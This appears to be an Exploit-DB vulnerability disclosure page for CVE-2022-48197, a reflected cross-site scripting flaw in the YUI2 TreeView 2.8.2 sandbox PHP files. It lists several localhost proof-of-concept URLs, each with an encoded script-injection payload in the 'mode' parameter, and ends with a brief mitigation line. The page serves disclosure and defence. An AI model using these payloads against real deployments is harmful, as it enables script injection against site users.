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Suggest Exploit
vendor:
YUI2
by:
Rian Saaty
6.1
CVSS
MEDIUM
Reflected Cross Site Scripting (XSS)
79
CWE
Product Name: YUI2
Affected Version From: 2.8.2002
Affected Version To: 2.8.2002
Patch Exists: YES
Related CWE: CVE-2022-48197
CPE: a:yui:yui2:2.8.2
Metasploit:
Other Scripts:
Platforms Tested: MacOS, WindowsOS, LinuxOS
2023

Yahoo User Interface library (YUI2) TreeView v2.8.2 – Multiple Reflected Cross Site Scripting (XSS)

YUI2 has a lot of reflected XSS vulnerabilities in pretty much most files. A sample of the vulnerable files along with the exploit can be found here: https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/up.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E, https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/sam.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E, https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/renderhidden.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E, https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/removechildren.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E, https://localhost/libs/libs/bower/bower_components/yui2/sandbox/treeview/readd.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E, https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/overflow.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E, https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/newnode2.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E, https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/newnode.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

Mitigation:

The user should ensure that all user input is properly validated and sanitized before being used in the application.
Source

Exploit-DB raw data:

# Exploit Title: Yahoo User Interface library (YUI2) TreeView  v2.8.2 - Multiple Reflected Cross Site Scripting (XSS)
# Google Dork: N/A
# Date: 2/1/2023
# Exploit Author: Rian Saaty
# Vendor Homepage: https://yui.github.io/yui2/
# Software Link: https://yui.github.io/yui2/
# Version: 2.8.2
# Tested on: MacOS, WindowsOS, LinuxOS
# CVE : CVE-2022-48197


The YUI2 has a lot of reflected XSS vulnerabilities in pretty much
most files. A sample of the vulnerable files along with the exploit
can be found here:

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/up.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/sam.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/renderhidden.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/removechildren.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/removeall.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/libs/bower/bower_components/yui2/sandbox/treeview/readd.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/overflow.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/newnode2.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

https://localhost/libs/bower/bower_components/yui2/sandbox/treeview/newnode.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(%22xss%22)%3C/script%3E

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